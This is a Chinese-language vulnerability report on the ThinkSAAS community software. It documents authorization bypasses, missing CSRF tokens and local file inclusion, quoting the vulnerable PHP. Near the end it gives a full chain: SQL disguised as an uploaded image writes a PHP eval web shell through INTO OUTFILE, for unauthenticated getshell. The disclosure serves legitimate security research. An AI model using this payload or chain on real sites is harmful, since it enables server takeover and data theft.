### 简要描述:
ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了。
### 详细说明:
ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了,也一起发了吧,求给力哦,来个大厂商吧!
第一处越权:
Thinksaas在编辑文章内容时,没有判断此文章的发表用户,造成任意用户可修改任意用户文章内容。
来看看编辑文章的代码,/app/article/action/edit.php
```
case "do" :
$articleid = intval ( $_POST ['articleid'] );
$cateid = intval ( $_POST ['cateid'] );
$title = tsClean ( $_POST ['title'] );
$content = tsClean ( $_POST ['content'] );
if ($TS_USER ['user'] ['isadmin'] == 0) {
// 过滤内容开始
aac ( 'system' )->antiWord ( $title );
aac ( 'system' )->antiWord ( $content );
// 过滤内容结束
}
if ($title == '' || $content == '')
qiMsg ( "标题和内容都不能为空!" );
$new ['article']->update ( 'article', array (
'articleid' => $articleid
)
, array (
'cateid' => $cateid,
'title' => $title,
'content' => $content
)
);
```
这里没有判断此文章的用户属性,只要用户登录,就能修改articleid和cateid下的任意文章内容。
漏洞证明:
[<img src="https://images.seebug.org/upload/201402/25103608ddc2549973878ab337b2bc57386b0d69.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/25103608ddc2549973878ab337b2bc57386b0d69.png)
用户111111发表的文章被222222用户修改了。
第二处越权:
ThinkSAAS在修改用户相册属性,以及修改相册中图片信息时存在越权操作,可修改任意用户相册以及图片信息。
app/photo/action/album.php
```
case "edit_do":
if($_POST['token'] != $_SESSION['token']) {
tsNotice('非法操作!');
}
//用户是否登录
$userid = aac('user')->isLogin();
$albumid = intval($_POST['albumid']);
$albumname = t($_POST['albumname']);
if($albumname == '') qiMsg("相册名称不能为空!");
$albumdesc = t($_POST['albumdesc']);
if($TS_USER['user']['isadmin']==0){
//过滤内容开始
aac('system')->antiWord($albumname);
aac('system')->antiWord($albumdesc);
//过滤内容结束
}
$new['photo']->update('photo_album',array(
'userid'=>$userid,
'albumid'=>$albumid,
),array(
'albumname'=>$albumname,
'albumdesc'=>$albumdesc,
));
header("Location: ".tsUrl('photo','album',array('id'=>$albumid)));
break;
```
漏洞证明:
从代码中看出,这里没有判断相册的用户属性,导致用户可修改任意相册信息。
我们先账户111111建立一个相册:
[<img src="https://images.seebug.org/upload/201402/25104800178aafa95400333fb6a31e561abdec44.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/25104800178aafa95400333fb6a31e561abdec44.png)
然后我们换一个用户222222,构造如下请求:
[<img src="https://images.seebug.org/upload/201402/2510481097a594810ca81c51e1f2d54d21a94795.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2510481097a594810ca81c51e1f2d54d21a94795.png)
这里的albumid就是相册的ID,修改这个ID,就能修改对应的相册信息。
此时111111用户的相册信息已被修改如下:
[<img src="https://images.seebug.org/upload/201402/25104827011dbba5944e9daedc3a6358940b3d96.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/25104827011dbba5944e9daedc3a6358940b3d96.png)
第三处越权:
在编辑小组基本信息时,没有判断此小组的创建用户属性,导致只通过小组id,groupid即可修改该小组的基本信息,导致越权修改他人创建的小组基本信息。
/app/group/action/do.php
```
//编辑小组基本信息
case "edit_base":
$groupname = t($_POST['groupname']);
$groupdesc = tsClean($_POST['groupdesc']);
if($groupname=='' || $groupdesc=='') tsNotice("小组名称和介绍都不能为空!");
//过滤内容开始
aac('system')->antiWord($groupname);
aac('system')->antiWord($groupdesc);
//过滤内容结束
$isgroupname = $new['group']->findCount('group',array(
'groupname'=>$groupname,
));
$groupid = intval($_POST['groupid']);
$strGroup = $new['group']->find('group',array(
'groupid'=>$groupid,
));
if($isgroupname > 0 && $strGroup['groupname']!=$groupname) tsNotice('小组名称已经存在!');
$new['group']->update('group',array(
'groupid'=>$groupid,
),array(
'groupname' => trim($_POST['groupname']),
'groupdesc' => trim($_POST['groupdesc']),
'joinway' => intval($_POST['joinway']),
'ispost' => intval($_POST['ispost']),
'isopen' => intval($_POST['isopen']),
'ispostaudit' => intval($_POST['ispostaudit']),
));
tsNotice('基本信息修改成功!');
break;
```
第四处越权:
在小组中的帖子操作中,编辑帖子类型时存在越权:
/app/group/action/do.php:
```
//编辑帖子类型
case "edit_type":
$typeid = intval($_POST['id']);
$typename = t($_POST['value']);
if(empty($typename)){
echo '帖子类型不能为空,请点击继续编辑';
}else{
$db->query("update ".dbprefix."group_topic_type set `typename`='$typename' where typeid='$typeid'");
echo $typename;
}
break;
```
没有判断此帖子类型所属用户属性,导致可以编辑任意用户所属的帖子类型。
第五处越权:
在小组中的帖子操作中,删除帖子类型时存在越权:
/app/group/action/do.php:
```
//删除帖子类型
case "del_type":
$typeid = intval($_POST['typeid']);
$db->query("delete from ".dbprefix."group_topic_type where typeid='$typeid'");
$db->query("update ".dbprefix."group_topic set typeid='0' where typeid='$typeid'");
echo '0';
break;
```
同样也没有判断帖子类型所属用户,导致删除任意用户帖子类型。
漏洞证明:
1、确定用户111111创建的小组111111的小组类型
2、然后用户222222登陆,界面上没有编辑小组111111信息的功能及权利,但我们构造编辑小组分类的请求。
3、然后发送修改小组111111帖子类型的构造请求。
4、最后,111111用户登陆查看自己的小组111111帖子类型被成功修改。
在编辑小组基本信息,删除帖子类型是也可用以上方法测试。
至于CSRF漏洞:
1、在前台有些地方有token,但是有些地方还是没有加token,防御不完善。
2、虽然加了token,但是整个站的token好像是一样的,这个token应该动态处理吧。
3、前台的CSRF就不说了。后台完全没有CSRF防御,像这样构造CSRF请求就可以操作后台的一切操作,拿shell,拖库,修改网站数据,添加管理员等等操作。
具体案例见:
[WooYun: ThinkSAAS某功能设计不当可能导致可以csrf后台GETSHELL](http://www.wooyun.org/bugs/wooyun-2013-045531)
[WooYun: ThinkSAAS某处CSRF导致直接GETSHELL](http://www.wooyun.org/bugs/wooyun-2013-046791)
[WooYun: Thinksaas CSRF导致任意文件删除](http://www.wooyun.org/bugs/wooyun-2014-051755)
第一处包含漏洞:
/app/group/action/plugin.php
```
<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
qiMsg('sorry:no plugin!');
}
```
这里没有判断是否登录,而且$app,$plugin,$in参数没有限制目录,导致文件包含。
那么我们只要找一个任意存在的文件就能执行该任意文件了。
第二处包含漏洞:
/app/home/action/plugin.php
第三处包含漏洞:
/app/pubs/action/plugin.php
第四处包含漏洞:
/app/user/action/plugin.php
包含原理通第一处。
漏洞证明:
我们通过上面的包含漏洞可以包含到后台的文件,执行后台的全部功能。
这里我们包含后台如下文件:
/app/system/action/sql.php
```
<?php
defined('IN_TS') or die('Access Denied.');
switch($ts){
case "":
//输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file');
include template('sql');
break;
//优化
......
//恢复导入
case "import":
$sql = tsFilter($_GET['sql']);
require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->restore ('data/baksql/'.$sql);
qiMsg('数据库恢复成功!如果有其他卷文件请一同恢复');
break;
```
那么我们通过上面的包含就可以包含到此文件执行了。
再来看看这里的restore()函数,直接将$sql参数加到了需要回复的数据库文件后面,而且restore()函数并没有判断此文件的格式等有效性,直接打开文件,执行里面的内容,因为默认这是一个sql数据库文件,所以导致目录遍历漏洞。
这样就可以回复任意文件了,只要此文件中是合法的sql语句就行。
那我们在前台上传一个图片,图片内容为:
```
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
Drop TABLE IF EXISTS temp;
```
在sql参数处,把sql文件内容替换为我们自己上传的文件即可。
上传后的路径我们可以知道,上传后的文件名是按照1,2,3...这样的顺序命名的,所以上传后的文件路径,文件名都可以得到。这样就可以在非登录下直接拿到shell。
[<img src="https://images.seebug.org/upload/201402/251128342eb198179ae09d851e9d5704319466cd.png" alt="getshell.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/251128342eb198179ae09d851e9d5704319466cd.png)
可能还有其他地方存在其他的很多漏洞,先发现,提交这么多,后面再继续挖掘。
希望厂商能把前面的那些SQL注入和这些漏洞修复了,做的更安全的产品!
### 漏洞证明:
见详细说明
暂无评论